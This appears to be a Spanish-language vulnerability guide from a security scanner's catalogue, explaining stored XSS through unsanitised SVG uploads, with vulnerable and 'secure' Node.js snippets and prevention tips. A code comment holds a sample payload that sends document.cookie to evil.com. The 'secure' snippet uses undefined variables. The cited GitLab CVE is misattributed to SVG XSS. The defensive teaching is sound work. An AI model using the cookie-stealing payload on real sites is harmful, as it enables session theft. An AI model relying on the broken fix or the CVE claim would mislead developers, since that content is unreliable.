mediumCWE-79A03:2021

SVG con JavaScript

Aceptar cargas de SVG sin sanitizacion permite a los atacantes embeber JavaScript en archivos SVG, habilitando ataques XSS cuando el SVG se renderiza en un navegador.

Cómo Funciona

Los archivos SVG estan basados en XML y pueden contener JavaScript embebido a traves de tags <script>, event handlers (onload, onclick) o incluso expresiones CSS. Cuando un usuario sube un SVG malicioso y se sirve con content type image/svg+xml, los navegadores ejecutan los scripts embebidos en el contexto del dominio que lo aloja. Esto lleva a XSS almacenado — cualquier usuario que vea el SVG tiene su sesion comprometida. El atacante puede robar cookies, redirigir usuarios o realizar acciones en su nombre. A diferencia de imagenes raster (JPEG, PNG), los SVGs son esencialmente codigo y deben tratarse como tal.

Código Vulnerable
app.post('/avatar', upload.single('avatar'), (req, res) => {
  // Accepts any image including SVG
  const url = `/avatars/${req.file.filename}`;
  res.json({ url });
});
// SVG with XSS: <svg onload="fetch('https://evil.com/'+document.cookie)"/>
Código Seguro
const DOMPurify = require('isomorphic-dompurify');
app.post('/avatar', upload.single('avatar'), (req, res) => {
  if (req.file.mimetype === 'image/svg+xml') {
    const clean = DOMPurify.sanitize(req.file.buffer.toString(),
      { USE_PROFILES: { svg: true } });
    fs.writeFileSync(destPath, clean);
  }
  res.json({ url });
});

Ejemplo Real

En 2020, una vulnerabilidad de XSS almacenado via carga de SVG fue encontrada en GitLab (CVE-2020-10977). Los atacantes podian subir archivos SVG con JavaScript embebido en descripciones de issues. Cuando otros usuarios veian el issue, el script se ejecutaba en su navegador, potencialmente comprometiendo cuentas de admin.

Cómo Prevenirlo

  • Sanitiza cargas de SVG con DOMPurify usando perfil SVG para eliminar scripts
  • Sirve SVGs subidos por usuarios desde un dominio separado sin cookies
  • Convierte SVGs a formato raster (PNG) al subirlos si no se necesita interactividad
  • Configura headers Content-Security-Policy para bloquear scripts inline en rutas que sirven SVGs

Tecnologías Afectadas

Node.jsPythonJavaPHPGo

Data Hogo detecta esta vulnerabilidad automáticamente.

Escanea Tu Repo Gratis

Vulnerabilidades Relacionadas